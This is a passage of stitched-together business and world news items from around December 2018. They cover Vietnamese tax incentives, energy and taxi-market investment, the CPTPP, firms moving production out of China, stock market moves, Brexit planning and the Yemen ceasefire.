determination of incentives due to a lack of tax knowledge or failure in applying the changes in incentives in time as new tax laws come into effect due to irregular updating of new tax regulations, the enterprises may bear the following risks: Overpayment of tax: when the enterprise is simultaneously entitled to many levels of incentives by meeting conditions of locations and business lines and the enterprise applies less favourable incentive than the best one due to incorrect understanding of regulations on incentives, then the enterprise will pay more tax than its liabilities. Underpayment of tax: when the enterprise applies CIT incentive with higher levels than the one it is entitled to, then it will under-declare its tax liabilities and underpay tax. As a result, the enterprise triggers the risk of tax clawback, penalties, and interests on late payment. Planning points In conclusion, the incentives issued by competent authorities benefit not only the enterprises, but also the government and society as a whole by attracting more inbound investment, creating jobs for the countrys workforce, and increasing the state budget. Thus, in order to optimise benefits from incentives and mitigate risks from applying incorrect incentives, enterprises should be proactive in updating their knowledge of tax regulations frequently. Additionally, it is not only the effort from enterprises, but also from the government and competent authorities in issuing regulations with consistent guidance and time of validity for the enterprises to comply with. Under the planning, the zone will become a multisectoral maritime economic zone, a hub for the central key economic region. It will become an urban area and a centre for automobile industry and support industries for automobile and aviation sectors, gas-power and petrochemical industries as well as high-tech industries. The garment-textile industry and related support industries will also be developed in the zone. In addition, the zone will be a hub for organic and high-tech agriculture as well as a tourism-service centre with close connections with Chu Lai airport and the Chu Lai-Ky Ha port system. The zone is expected to become an international transit hub, serving international trade and exchange activities of the central and Central Highlands regions, and as a gateway to the East Sea of the Central Highlands of Vietnam, the south of Laos and the northeastern regions of Cambodia and Thailand. By 2025, the zones area for industry is set to hit 3,000 hectares, along with 5,000 hectares for urban, tourism and service areas. The areas will be expanded to about 5,010 hectares and about 7,000 hectares, respectively, in 2035. Chu Lai open economic zone is designed to become a logistics service hub of the region with close connectivity with Chu Lai-Ky Ha port system, making it attractive to investors. The zone will prioritise the development of environmental-friendly industries. The administrative centre of the zone will be connected to the administrative centre of Tam Ky district. The Workshop on Capital Market for Green Growth At the Workshop on Capital Market for Green Growth yesterday (December 19), the Vietnam Green Growth Strategy fully embraced objectives like traditional lifestyle and living in harmony with nature in its green economy paradigm. The World Bank and other multilateral development banks have been warning that since August 2015, the implementation of the Sustainable Development Goals (SDGs) will require reinforcing funding and financing efforts from billions to trillions of dollars and that only combined funding and financing from the public and the private sector side can make the goals possible, with the private sector taking the lead. According to Marc de Bourcy, charge d'affaires of the Luxembourg Embassy, Vietnams leadership is well aware that the implementation of the 17 SDGs and 115 specific targets depends in a large part on resource mobilisation and the effective and credible participation of the private sector, more specifically through Vietnams growing capital markets and key finance and banking players. These actors and players will be crucial in attracting important international investments and investors to finance clean energy projects, energy efficiency, public transport, and water in Vietnam. Nguyen Tuan Anh, deputy director general of the Ministry of Planning and Investments Department of Science, Education, and Natural Environment, said that Vietnam needs about $30 million in funding by 2020, primarily in the energy sector, while the state budget is able to shoulder about $10 billion (to which Development Partners contribute about 30 per cent via ODA and climate finance), hence there is a funding gap of about $20 billion in green growth projects in Vietnam until 2020. The Ministry of Finance has been proactively developing the framework for green capital market and green finance products in order to mobilise key private investment capital into Vietnams National Action Plan for Green Growth. In this context, the vision of the State Securities Commission (SSC) to devise a 2030 roadmap for the development of Vietnams stock market is commended as a step towards more and greener capital markets and sustainable financial products. However, finance and financing is not the end goal, they are merely a means to an end, an essential ingredient towards the achievement of the SDGs and the fight against climate change. Marc de Bourcy, charge d'affaires of Luxembourg Embassy Talking about green financing in Luxembourg, Marc de Bourcy said that as one of the EUs three largest financial centres, Luxembourg is home to over 140 international banks. It is also the largest investment fund center in the EU (with 4.23 trillion $4.8 trillion in June 2018), and the second in the world with over 61,000 cross-border fund registrations from70 markets worldwide. In Luxembourg, investment funds remain a privileged set of tools for climate financing and green growth, through structured funds with institutional and private sector co-investors like the worlds first green bond European Investment Bank (EIB) and the International Finance Corporation (IFC). According to the Bourcy, in the last 10 years, Luxembourg provided an ideal environment for climate finance funds as well as several concrete actions and initiatives. For example, climate financing has been on the radar of the Luxembourg Stock Exchange, and was boosted in unheard of proportions with the 2016 launch of the Luxembourg Green Exchange (LGX), the first and only stock exchange in the world to list exclusively green, social, and sustainable bonds, based on ICMA Green Bond Principles. The Luxembourgian government contribute financially to other public-private initiatives as a first-loss guarantee to mitigate private sector investment risk, with the EIB acting as a co-investor. Luxembourg recently launched the Forestry and Climate Change Fund (FCCF) to support secondary forests in Central America. Another PPP initiative is the agri-business capital fund, a blended capital impact fund from smallholder farmers, with IFAD, AGRA, the EU and Luxembourg government, and two international fund managers. Additionally, Luxembourgs government and private sector partners have set up the International Climate Finance Accelerator, supporting innovation and high-impact investment strategies to grow climate finance leaders. Sustainability has become a systemic imperative and an opportunity for the Luxembourgian government and its finance industry. To be sustainable, a financial center has everything to gain from keeping an open mind in proactively exploring new and innovative business opportunities. From the operational perspective, a sustainable financial center will help reassess the type of funding and financing for sustainable projects, programmes, and policies required. Any type of funding and financing aiming for lasting financial return coupled with social and environmental impact should be made available on a steady and reliable basis for a prolonged period and should be able to provide the right financing at the right moment. Source: PVN During a meeting at PetroVietnam Oil Corporation (PV Oil) last week, Shell showed its interest in becoming the liquefied natural gas supplier for the corporations projects. Shell is also looking to move into the Vietnamese fuel distribution system through acquiring a stake in PV Oil. The Dutch groups deputy chairman Douglas Buckley sought clarification regarding the criteria in selecting a strategic investor for PV Oil. This move hallmarks Shells return to the Vietnamese market after deciding to transfer its entire stake in a joint gas venture in the northern city of Haiphong and a 100 per cent Shell-invested company in Ho Chi Minh City to Thai Siam Gas in 2012. However, the road ahead for its return remains bumpy. Shell, along with other foreign investors such as South Koreas SK Energy and Japans Idemitsu Kosan Global, lost the opportunity to hold a strategic stake in PV Oil in June 2018. The domestic oil company halted the selection of new investors after the Vietnamese government did not allow an extension for its share offering. In assessing their options in the Vietnamese fuel distribution market, foreign investors are also looking to the divestment of Vietnam National Petroleum Group (Petrolimex) as an alternative to PV Oil. Of the 14,000 fuel stations in Vietnam, Petrolimex owns 5,200 stations, holding 45 per cent of the market, followed by PV Oil with 3,000 sites. Some 50 per cent of products sold by Petrolimex went directly to customers, with an additional 20 per cent going directly to industrial customers. Nonetheless, there remains ample space for newcomers in the market, provided they prove competitive. Japans Idemitsu Q8 Petroleum LLC (IQ8) was the first foreign-owned fuel retailer in Vietnam and has recently opened its third fuel service station in the northern province of Hung Yen. IQ8 received approval to distribute fuel in Vietnam after the Vietnamese government pledged to allow the foreign shareholders of the $10 billion Nghi Son refinery and petrochemical complex in the central province of Thanh Hoa to distribute its products in Vietnam. The newly-established Vietnam Taxi Alliance of many taxi firms is expected to create stiffer competition to ride-hailing apps in Vietnam, Photo: Duc Thanh In a major development in Vietnams taxi industry, last Monday, 17 traditional taxi operators teamed up to launch the Vietnam Taxi Alliance, which will operate across the country through the shared ride-hailing application EMMDI, a vehicle management software developed by specialists from Hanoi National University. Currently the group is present in over 40 cities and provinces with 12,000 cars, and six taxi operators based in Hanoi, including Thanh Nga, Van Xuan, Thang Long, Sao Mai, Long Bien, and Que Lua. Until late December 2018, the alliance will welcome Open 99 and VIC, increasing its fleet strength in Hanoi to 4,000 vehicles. It will also launch services in other provinces like Nam Dinh in the north and Ha Tinh and Quang Binh provinces in the central region. This is not the only instance of traditional taxi operators teaming up to fight off foreign ride-hailers. Thanh Cong, Sao Hanoi, and Ba Sao recently formed the G7 taxi union in Hanoi to compete with Singpore-based Grab, Southeast Asias largest ride-hailing firm. Together, G7 has about 3,000 cars, accounting for around 20 per cent of taxis in Hanoi. However, while G7 operates in Hanoi only, the Vietnam Taxi Alliance will be present across the country, creating far larger coverage. Tran Bang Viet, CEO of Dong A Solutions, which provides IT solutions for individual and corporate organisation, told VIR that the alliance between traditional taxi operators is an inevitable trend as more and more foreign players jump into the fray. The move will help traditional taxi businesses create a new brand identity to draw customers attention. It will also create uniform fares, and standardise service quality. The alliance will create a pressure on foreign ride-hailing service providers, including Grab. There are still opportunities for traditional taxi operators if they can improve service quality and lower fares, Viet said. CHANGE TO COMPETE With a population of nearly 100 million and a fast-growing transportation service market, Vietnam has become a lucrative destination not only for local but also foreign ride-hailers. According to statistics from Statista, an online statistics, market research and business intelligence portal, the revenue in the Vietnamese ride-hailing segment amounts to $501 million in 2018. The revenue is expected to post a compound annual growth rate of 21 per cent for the 2018-2023 period, resulting in a market volume of $1.3 billion by 2023. The number of passengers in 2018 is estimated at 2.3 million, which is forecast to rise to 9.1 million by 2023. Flourishing on this potential, Vietnamese customers have had a diverse choice of car-hailing options. Even after the departure of Uber in May this year, a series of ride-hailing applications such as Go-Viet, VATO, Aber, and FastGo were launched. According to ride-hailing solutions providers and traditional taxi operators, it is simple and cheap to invest in ride-hailing applications to compete with Grab and other ride-hailing service providers. However, these major rivals have other advantages in terms of fare, promotion programmes, and tax incentives, making it difficult to break their hold on the market. Notably, foreign ride-hailers have strong financial foundations and do not suffer from price restrictions, thus they continually launch promotion and discount programmes to lure in customers. Meanwhile, traditional taxi operators have to comply with price regulations. A FRAUGHT ALLIANCE Thus, according to Viet, who used to be CEO of Mai Linh Taxi, along with the establishment of the taxi alliance, traditional taxi operators have to improve service quality to increase their competitiveness. A large number of customers complain about the service quality of traditional taxi operators, including difficulties in ordering a car in peak hours or finding forgotten articles. Besides, customers are not pleased with the smell inside the cars or the behaviour of drivers, Viet said. He also offered a number of issues with the taxi alliance. Notably, the alliance model has numerous leaders, which makes it difficult to reach a compromise in case of a disagreement. Besides, upon success, the alliance is bound to expand rapidly, while failure will likely break it apart. In order to deal with these concerns, Viet proposed that in order to create uniformity, taxi operators should implement mergers and acquisitions (M&As) to ensure cross-ownership and tie themselves together as well as to reduce the number of different brands in the alliance. For example, in Hanoi, it needs no more than three or four brands. Total proposed a sizeable energy investment in Ninh Thuan province Billion-dollar ambition The world's leading oil corporation, Total is planning to invest in the Ca Na gas-electric complex in Ninh Thuan province. Total plans to invest together with Siemens, Vovatek (Russia), and A&A Technology and Investment Co., Ltd.in the first phase with a total of $1.2 billion with the total capacity of 1,500MW. The project is expected to have a total capacity of 4,500MW overall. The project is no more just a plan on the drawing board. Total and its counterparts have been visiting Ninh Thuan to discuss issues related to this project. Total also proposed the Ninh Thuan People's Committee, the Ministry of Industry and Trade (MoIT), and the government to add the project to the country's energy planning. Earlier in November 2018, during the official visit of French Prime Minister Edouard Philippe, Total signed an agreement with the Ninh Thuan People's Committee on the research and development of Ca Na gas-electric complex project. Going a step further, Total and its partners have also proposed building a complete liquefied natural gas (LNG) facility to supply natural gas for both power plants and the whole area. The leader of Total also talked about the investment plan with Prime Minister Nguyen Xuan Phuc during his visit to Singapore at the end of April. Christian Cabrol, vice president of Asia-Pacific and Middle East of Total, expressed the corporations ambition to produce liquefied natural gas and electricity in Vietnam, and that it is ready to co-operate with other partners to invest in this field. Three months after sharing this plan with the PM, Total once again visited Ninh Thuan with new partners and signed the first agreement. This is only a plan, but would open up new opportunities for Ninh Thuan. Total's ambition may be bigger than just a $1-2 billion investment. Giant plays a larger game Total first set foot in Vietnam in 1990. However, contrary to the expected large-scale investment befitting one of the worlds leading oil and gas corporations, Total has been taking measured steps in Vietnam so far. Initially, Total established Total Marketing & Services Vietnam with its main activities in the field of LPG, lubricants, and petroleum. In 2009, Total merged Exxon Mobil's lubricant business in Vietnam with Total Vietnam, bringing the Total lubricant plant in Go Dau Industrial Zone (Dong Nai province) into operation. In early July 2012, Totalgaz Vietnam announced its acquisition of Dai Viet Energy Co., Ltd. (Vinagas), expanding its portfolio of brands to four in Vietnam, including Elfgaz, Totalgaz, Saigon Gas, and Vinagas. In addition, Total also sells petroleum in Vietnam, especially in Danang. In addition, Total wants to expand its investments in Vietnam, not only in the electricity sector, but also in the field of liquefied natural gas, and build some port facilities to receive LPG. Total is also interested in the plan of PetroVietnam Gas JSC to sell 30 per cent to a foreign strategy partner in 2020. Foreign ownership in PV Gas is currently only 3.31 per cent and the corporation is seeking to reduce the state-ownership from 95 to 65 per cent by 2020. The French oil giant Total seems to have giant plans in Vietnam. Once these plans come true, Vietnam will receive huge investment from one of the EUs leading corporations. Prime Minister Theresa May has vowed to end free movement of people from Europe, saying that this was one of the main reasons Britons voted to leave the EU in a 2016 referendum AFP/HO Home Secretary Sajid Javid said visas would be introduced for EU nationals arriving after Britain leaves the bloc and the new system would be based on skills, not nationality, putting EU and non-EU citizens on the same footing. "It will be a system that will bring net migration down to more sustainable levels," he told BBC radio, although he said there was "no specific target" for the reduction. He said he hoped the new measures would put more pressure on employers "to look at the domestic workforce first". "MISGUIDED" APPROACH TO IMMIGRATION Javid did not commit to an annual salary threshold for EU immigrants - a highly contested proposal - but said it could be "30,000 (US$38,000) or thereabouts". He said the threshold could be lowered to encourage foreign students to stay and work in the UK and for certain parts of the economy in which a labour shortage could be proven. Many employers, including the National Health Service, have warned that 30,000 is too high and will severely limit their ability to hire EU nationals such as nurses. The immigration proposals are aimed at winning over Brexit hardliners who have resisted voting in favour of the deal that Prime Minister Theresa May has struck with EU leaders. But they will cause anger in parts of Britain, such as London, that have benefited from EU immigration. Mayor of London Sadiq Khan said the government's approach was "misguided" and "risks doing profound damage to growth, jobs and communities across London and the UK". MIGRATION LEVELS ALREADY FALLING May has vowed to end free movement of people from Europe, saying that this was one of the main reasons that Britons voted to leave the European Union in a 2016 referendum. Immigration levels have already fallen since the referendum. Net migration to Britain was around 280,000 last year, a decrease from levels of more than 300,000 in 2014 and 2015. The announcement came as May prepared to hold her final question and answer session of the year in parliament, where she will face more trenchant criticism of her decision to delay a parliamentary vote on her Brexit deal. The main opposition Labour Party has asked for a no confidence motion against May, while smaller groups including the Scottish National Party have requested a similar vote against the government as a whole. Neither motion is expected to be allowed to come to a vote. May survived a separate no-confidence vote tabled by members of her own Conservative Party last week but she came out of the process badly bruised after more than a third of her parliamentary party opted to oust her. Some hardline Conservative MPs have since said they could vote in favour of May's deal when it comes before parliament next month, although experts say the vote is still likely to go against the prime minister. BUSINESSES "WATCHING IN HORROR" The deadlock in Westminster has raised the prospects of either a second referendum or of a no-deal Brexit when the negotiating time runs out on Mar 29 next year. The government on Tuesday announced no-deal plans, which include drastic measures such as stockpiling imported chemicals to ensure safe drinking water and special flights from Europe to ensure continued supply of vital medicine. The prospect of such an exit has caused widespread concern. Britain's five leading business associations on Wednesday warned that companies have been "watching in horror as politicians have focused on factional disputes rather than practical steps that business needs to move forward". The group, which included the Confederation of British Industry big business lobby and the Federation of Small Businesses, said: "The lack of progress in Westminster means the risk of a no-deal Brexit is rising". Yemen's foreign minister Khaled al-Yamani (L) and rebel negotiator Mohammed Abdelsalam (R) shake hands under the eyes of UN Secretary General Antonio Guterres (C), at Johannesberg Castle in Rimbo, Sweden, on Dec 13, 2018. (Photo: AFP/Jonathan Nackstrand) Military officials and residents have said that there has been intermittent fighting between loyalists - backed by a Saudi-led coalition - and the Iran-aligned Huthis since a truce in the lifeline Red Sea port city and its surroundings came into force on Tuesday. A pro-government official told AFP that four loyalists were wounded on Wednesday night. "The exchange of fire lasted for about half an hour, and there is uneasy calm this morning," he said. The official added there has been intermittent fighting on a number of battlefronts in Hodeida province, including the districts of Hays and Al-Tuhayta. The pro-government forces and the Huthi rebels exchanged accusations on Thursday that the other side was violating the ceasefire agreement reached at talks in Sweden earlier this month. UN observers are due in Yemen to head up monitoring teams made up of government and rebel representatives tasked with overseeing the implementation of the UN-brokered ceasefire, under the auspices of a Redeployment Coordination Committee. The UN chair of that committee, Patrick Cammaert, convened its first meeting by videoconference from New York on Wednesday "to discuss the general outlines of its work, including agreement of a code of conduct", UN spokesman Stephane Dujarric said. UN chief Antonio Guterres was "breathing down the neck" of officials to make sure the UN observers are deployed as soon as possible, Dujarric said. He added that Cammaert will head on Thursday to Jordan's capital Amman, from where he will travel to the Yemeni capital Sanaa and Hodeida. Brigadier Ahmed Al-Kokbani, a Yemeni government representative on the committee, told AFP that the observers' meeting with Cammaert covered the bases of the committee's work. "Cammaert asked members of the team to work diligently in calming the situation and to reject any violations (of the truce deal)," he said. The Saudi-led coalition warned Wednesday that the hard-won ceasefire agreement will collapse if rebel violations persist and the United Nations does not intervene. The Redeployment Coordination Committee's observers are due to oversee the withdrawal of the warring parties from Hodeida, including a rebel pullout from the city's docks that are the point of entry for 80 percent of Yemeni imports and nearly all UN-supervised humanitarian aid. The committee chair is expected to report to the Security Council on a weekly basis as part of a major diplomatic push that is seen as the best chance yet to end the four-year conflict. The war between the Shiite Huthi rebels and troops loyal to President Abedrabbo Mansour Hadi escalated in 2015, when he fled into Saudi exile and the Saudi-led military coalition intervened. Since then, the war has killed some 10,000 people, according to the World Health Organization, although human rights groups say the real death toll could be five times as high. Vice President Dang Thi Ngoc Thinh (second from right) at the reception (Source: VNA) Thinh made the statement during a reception for President of the SOS Childrens Villages International Siddhartha Kaul in Hanoi on December 19, during which she congratulated the organization on its upcoming 70th founding anniversary. The organisation has so far helped Vietnam develop 67 projects in 17 provinces and cities, she said, stressing that those have shown the great humanitarian significance. Thinh thanked Kaul for his concern and affection for Vietnam, expressing her hope that the organisation will continue to support Vietnam in expanding more SOS children's villages in the coming time. She promised that the Vietnam will do its best to ensure preferential treatment for those who are working in SOS children's villages in Vietnam. For his part, Kaul expressed his belief that the cooperation model between the SOS Children's Villages International and Vietnam will be closer, thus promoting effective coordination between the village with the Ministry of Labour, Invalids and Social Affairs (MoLISA), and departments of labour, invalids and social affairs in localities in raising funds and improving the quality of SOS children's villages in the country. SOS Childrens Villages International has provided Vietnam with nearly 120 million USD to develop infrastructure in SOS villages in the past 30 years. It helped Vietnam build 17 SOS children's villages, which has raised, cared for, and educated nearly 6,000 children, of which 2,800 have grown up and have stable lives. Some 3,100 others are being brought up in SOS villages by a total of 1,300 employees. SOS Children's Villages have been implemented in 134 countries and territories. Canadian Prime Minister Justin Trudeau visited the Ho Chi Minh City Stock Exchange in November 2017 Photo: Le Toan Key Vietnamese tariff cuts for Canadian exports under the CPTPP Agricultural goods: - Beef (tariffs of 31 per cent on fresh, chilled, and frozen beef will be erased within two years, and tariffs of 34 per cent on all other beef products will be eliminated within seven years). - Pork (tariffs of 31 per cent on fresh, chilled, frozen, and prepared pork products will be removed within nine years). - Canola (tariffs of 5 per cent on canola seed will be annulled upon entry into force, while tariffs of 20 per cent on canola oil will be eliminated within seven years). - Ice wine and whisky (tariffs of 56 per cent will be erased within 10 years). Industrial products: - Industrial machinery (tariffs of 25 per cent will be removed within eight years). - Chemicals and plastics (tariffs of 31 per cent will be annulled within 10 years). - Metals and minerals (tariffs of 40 per cent will be eliminated within 10 years). - Cosmetics (tariffs of 30 per cent will be erased within four years). Former Canadian Ambassador to Vietnam Ping Kitnikone told VIR that she expects more Canadian investment to reach Vietnam following the expected entry- into-force of the Comprehensive and Progressive Agreement for Trans-Pacific Partnership (CPTPP) on December 31, 2018. The CPTPP is a free trade agreement (FTA) involving 11 countries in the Asia-Pacific region, including Australia, Brunei, Canada, Chile, Japan, Malaysia, Mexico, New Zealand, Peru, Singapore, and Vietnam. The CPTPP will bring in more opportunities for Canadian companies to introduce more of our products to the Vietnamese market, said Kitnikone, who helped connect Canadian investments to Vietnam during her 2006-2018 term in the country. Canadians are looking at development with interest in many sectors like ICT, agriculture, and hi-tech. Atul Bali, chief executive officer from Canadas Competitive Green Technologies, plans to visit Vietnam in search of business opportunities after his first trip here a year ago. We have a patented formulation in the use of bio-carbons and are looking for supply partners that can form part of a mutually rewarding value chain wherein we could license technology and establish some commercial relationship to mutual benefit, Bali said. In another case, Michael Loh, director of Business Development from Canadas London Agricultural Commodities, Inc., is also seeking partners in Vietnam. We are experienced exporters of food-grade soybeans and dried grains with solubles to Asian markets and we are presently exporting to 16 countries. Vietnam is quickly becoming an emerging market for our products and we plan to seek partnerships, Loh said. According to Kitnikone, the CPTPP is an important platform with high standards of trade in the Asia-Pacific region. This is important to Canadian investors, because they will feel more reassured that they will not face many obstacles and will be treated in a fair and transparent manner. Beyond the CPTPP, Canadian companies are also looking forward to an advanced ASEAN-Canada Free Trade Agreement in which Vietnam will play an important part. I think the prospects of Canadian investment into Vietnam will be very good with the building blocks that we have already mentioned. The merchandise trade is already there and I think with the CPTPP and hopefully with the ASEAN-Canada FTA advancing quickly, we will provide more reassurance to Canadians. According to the Ministry of Planning and Investment (MPI), as of November 20, Canada had 176 valid investment projects in Vietnam, registered at $5.1 billion. In the first 11 months of this year, Vietnam attracted 13 Canadian projects registered at $4.27 million. If stake acquisitions were included, total new investment capital from Canada reached $83.42 million. At the recent Vietnam-Canada Business Forum in Canada, Vietnamese Prime Minister Nguyen Xuan Phuc said the CPTPP and Vietnams improved business climate will lead to a new wave and even a boom of Canadian investment in Vietnam. The CPTPP will allow Canadian companies to invest with greater confidence in Vietnam, offering them protection from unfair and discriminatory treatment as well as greater predictability and transparency, said a Canadian government document on how the CPTPP will impact Canadian-Vietnamese trade ties. Vietnams commitments on financial services go beyond what it has offered in previous FTAs, creating new opportunities for Canadian service providers. According to pan-Asia consulting firm Dezan Shira & Associates, the CPTPP will give opportunities for Canadian funders in Vietnam. Investors that target sectors that align with Vietnams development goals, such as the recent shift towards sustainability, are the most viable long-term projects. For example, PM Phuc publicly requested Canadian support in solar energy to develop clean technology, where investment from Canada remains quite low, despite its competitiveness in the sector, said the firm in a recently-released bulletin on the CPTPPs impact on Vietnamese-Canadian ties. Notably, ICT has become the foundation of Vietnams modern development: the 4G network was established in 2017, leading to the growth of Big Data and analytics, as well as finance technology. Meanwhile, development continues to create opportunities for Canadian companies in infrastructure, planning, materials, construction, operations, and project management. Canadian businesses will obtain a competitive advantage once the CPTPP is ratified. While Vietnam holds a prominent place among other ASEAN countries in relation to Canada, exploring the opportunities that already exist is worthwhile given progress already made, the bulletin said. However, the former Canadian Ambassador to Vietnam also noted that to attract more Canadian investment, Vietnam needs to have a business climate that allows companies to expand. There should be a level playing field. Treating investors differently would not be very conducive. Improvements in the regulatory environment, competitiveness, and transparency are very important for investors to consider investment in Vietnam, Kitnikone stressed. Despite ongoing uncertainies regarding the trade war, Vietnam can still benefit from it Photo: Le Toan Economist at the Diplomatic Academy of Vietnam Nguyen Van Lich has, along with colleagues, recently conducted statistics about businesses planning to move production facilities out of China, and many select Vietnam as a good market for their new manufacturing bases. Chinas production costs are growing strongly, together with risks caused by high import tariffs by the US on Chinese firms, who will find it difficult to boost exports there. Vietnam will likely welcome new foreign direct investment (FDI) and production from China, Lich said. He cited Brooks Running, an American producer of high-performance running shoes, clothing, and accessories, considering shifting manufacturing operations to Vietnam to shun the trade war tariffs. The companys CEO said that if it relocates its production to Vietnam or elsewhere, this decision will be permanent, because the company cannot continue keeping suppliers in China with certain risks, Lich said. Foreign media cited CEO Jim Weber saying that Brooks Running is preparing for a 25 per cent tariff on its business, on top of 20 per cent already set on running shoes, and that Vietnam will be a possible new supply chain for Brooks Running with the transition likely costing millions of US dollars. In other cases Japanese giants Nitto Denko, which produces tapes, vinyl, and LCDs, and Nikon, specialising in optics and imaging products, have decided to leave the Chinese city of Suzhou. According to Lich, other major businesses such as Panasonic, Sharp, Toshiba, Philips, Sony, Honeywell Security, and Seagate have also withdrawn from China. Last year, the Netherlands Philips shut down its factory in Shenzhen. Samsung also followed suit this June. A month later, Japans Omron factory announced that it would stop production in China permanently. Taiwanese electronics giants such as Compal and Inventec also stand ready to leave China for other potential markets like Eastern Europe, Mexico and Southeast Asia. According to a recent survey of over 430 US companies by the American Chamber of Commerce in Shanghai, American businesses in China are facing numerous challenges. Specifically, for the second year running, 60 per cent of respondents found that Chinas regulatory environment lacks transparency, which obstructs good business practice. Lack of intellectual property rights protection (61.6 per cent) and obtaining required licenses (59.5 per cent) were the top two regulatory challenges. Rising costs and domestic competition, at 95.6 and 85.7 per cent, respectively, were viewed as the greatest operational challenges. Besides, the US imposition of import tariffs on made-in-China goods will make Chinas competitive advantages weaker than those of Vietnam. This will prompt investors to find alternative funding and manufacturing locations, with Vietnam an attractive choice. Due to Chinas rising costs and trade tense, many foreign companies there have and will continue leaving this nation for new markets, including Vietnam, said Nguyen Duc Tiep, a representative of the Investment Promotion Centre of the north-eastern province of Quang Ninh. Over the past few months, we have listened to many who are seeking investment in Quang Ninh instead of continuing investment and production in China, Tiep told VIR. Adam Sitkoff, executive director of the American Chamber of Commerce in Hanoi, also told VIR, US companies, similar to those from many other countries, are constantly adjusting their supply chains to stay competitive. It is possible that some companies will look at shifting production from China to Vietnam to avoid higher tariffs. But according to Maxfield Brown, business intelligence associate at multi-disciplinary professional services firm Dezan Shira & Associates, investors are choosing to supplement Chinese operations instead of abandoning them, with low-cost inputs sourced from production facilities in markets such as Vietnam. While the structures of these operations differ greatly depending on the country in question, this production model has become widely known as China+1. Foreign investors pursuing China+1 generally benefit from cost reductions on wages and land pricing. Vietnam again stands out in this respect, offering investors a minimum wage 59 per cent of that found in China and 70 per cent of that in Thailand, Brown said. Perhaps most importantly, Vietnams network of trade agreements is among the best that manufacturers will be able to find at this point on the value chain. An investor monitors the markets online. - VNS Photo Doan Tung The VN-Index on the Ho Chi Minh Stock Exchange edged down 0.86 per cent to end trading at 919.24 points. It fell 0.69 per cent to end at 927.25 points on Tuesday. On the Ha Noi Stock Exchange, the HNX-Index fell 0.25 per cent to 104.16 points. The index fell 0.56 per cent to 104.42 points on Tuesday. More than 231.5 million shares worth a combined VND5.2 trillion (US$222 million) were traded on the two markets. Meanwhile, market breadth was negative. Declining stocks outnumbered gainers by 264 to 166, while 324 ended flat. Across the 20 sectors on the stock market, 12 industries saw share prices drop, including energy firms, property developers, brokerages, construction material and food and beverage producers. The VN30 Index, which tracks the overall performance of the 30 largest stocks by market capitalisation, was down 0.89 per cent at 882.79 points. Bluechips such as insurer Bao Viet Holdings (BVH), Vietinbank (CTG), steel maker Hoa Phat Group (HPG), dairy firm Vinamilk (VNM) and Vietcombank (VCB) lost value, weighing on the indices. VNM dropped 2 per cent to VND129,100; BVH decreased 3.2 per cent to VND91,000; HPG fell by 4.5 per cent to VND29,700 per share; and CTG slumped 4.9 per cent to VND20,400 per share. World oil prices are plummeting, hitting oil stocks. Brent futures fell by 6 per cent to $56.08 per barrel. US crude West Texas Intermediate (WTI) dropped 7.3 per cent to trade at $46.54 a barrel. Firms that lost value in the oil group were PetroVietnam Drilling & Well Services Corporation (PVD), PetroVietnam Technical Services Corporation (PVS), PetroViet Nam Coating JSC (PVB), Viet Nam National Petroleum Group (PLX) and PetroVietnam Gas JSC (GAS), falling from 1.6 per cent to 4.5 per cent. According to Sai Gon-Ha Noi Securities JSC (SHS), the slight rebound of the US stock market on Tuesday had not helped the Vietnamese market exit a negative trading session on Wednesday. The imminent release of important information has made investors more hesitant, leading to low liquidity during Wednesdays session. The outcome of the two-day meeting of the US Federal Reserves (FED), the conclusion of the two exchange-traded funds (ETF) FTSE ETF and V.N.M ETF on the third-quarter portfolio restructuring, would affect investors decisions on the last trading sessions of this week, SHS said in its daily report. We recommend investors step back for the time being given the unpredictable market, SHS said. The European Commission says it has started to implement plans for a no-deal Brexit in preparation for Britain crashing out of the European Union without a withdrawal deal which would dislocate manufacturers' supply chains, disrupt air-travel, and gridlock busy seaports on both sides of the English Channel. With just 100 days to go before Britain's scheduled departure on March 29, the Conservative government of Theresa May is also accelerating arrangements for a chaotic "no-deal Brexit," ordering all ministries to shelve non-essential business and to divert staff to focus on contingency planning. Both the British government and Brussels are trying to offset the impact of a possible no-deal Brexit on business, as well as on their citizens, but acknowledge there will be severe disruption. The acceleration of "no-deal" planning in London and Brussels follows last week's testy meeting between Theresa May and the leaders of the other 27 EU countries, in which May was firmly rebuffed in her bid to reopen negotiations on a withdrawal agreement. The leaders held out little hope of offering any legal assurances that would help May sell the 585-page deal to unenthusiastic British lawmakers. Analysts said there is little evidence May will be able to squeeze anything out of the bloc that would substantially alter the political dynamic in London, where a majority of the House of Commons is opposed to May's Brexit deal. Long negotiated agreement May's deal, which was negotiated after almost two years of ill-tempered haggling between British and EU negotiators, tries to square the circle between Britons who want to remain in the EU, or closely tied to it, and Brexiters. The proposed deal would see Britain locked in a customs union with the European Union for several years while it negotiates a more permanent, but vaguely defined, free trade settlement with its largest trading partner. In the temporary customs union, Britain would be unable to influence EU laws, regulations and product standards it would have to observe. It would not be able to implement free trade deals with non-EU countries. The transition was reached to avoid customs checks on the border separating Northern Ireland and the Irish Republic, but British lawmakers fear Britain could be trapped indefinitely in the transition. Britain's main business groups Wednesday warned there is not sufficient time to plan for the repercussions of the country leaving without any withdrawal agreement and says hundreds of thousands of companies have not yet even started preparing for the consequences. "Businesses have been watching in horror as politicians have focused on factional disputes rather than practical steps that business needs," said Britain's Chambers of Commerce in a statement along with four other major employer groups. Big disruptions The European Commission's measures announced Wednesday are designed to limit disruption in several sectors, including finance, transport and data protection. "These measures will not and cannot mitigate the overall impact of a no-deal' scenario," it said in a statement. "This is an exercise in damage limitation," said European Commissioner Valdis Dombrovskis during a news conference. Unveiling 14 measures, he said a contingency plan had to be done "given the continued uncertainty in the UK." The 14 measures aim to ensure some continuity for a temporary period, but the Commission has ruled out negotiating any bilateral agreements to replace the temporary measures. They include allowing British-owned airlines to operate flights in and out of EU countries, but not between them, and recognizing for up to two years British financial-service regulations so British banks, investment houses and insurers can continue to sell their products in EU countries. And British haulers will be allowed to transport freight by road into the EU for a nine-month period without having to apply for special third-country permits. But there is no overall plan for what happens to an estimated 1.5 million Britons living and working in Europe. The commission is urging member states to adopt a "generous" approach to their residency rights, but only "provided that this approach is reciprocated" by London in how it handles three million EU citizens living in Britain. Britain's decision to accelerate contingency planning was made during an ill-tempered three-hour Cabinet meeting Tuesday, in which ministers clashed over what to do if May fails next month, as still seems likely, to secure House of Commons approval for her exit deal. The Cabinet is split between a faction that wants May to call a second Brexit referendum, another that wants Britain to negotiate another deal with Brussels, and a third group that says Britain shouldn't worry about going it alone and breaking cleanly from the bloc. Some Conservative lawmakers have warned they will quit the party if May moves towards a 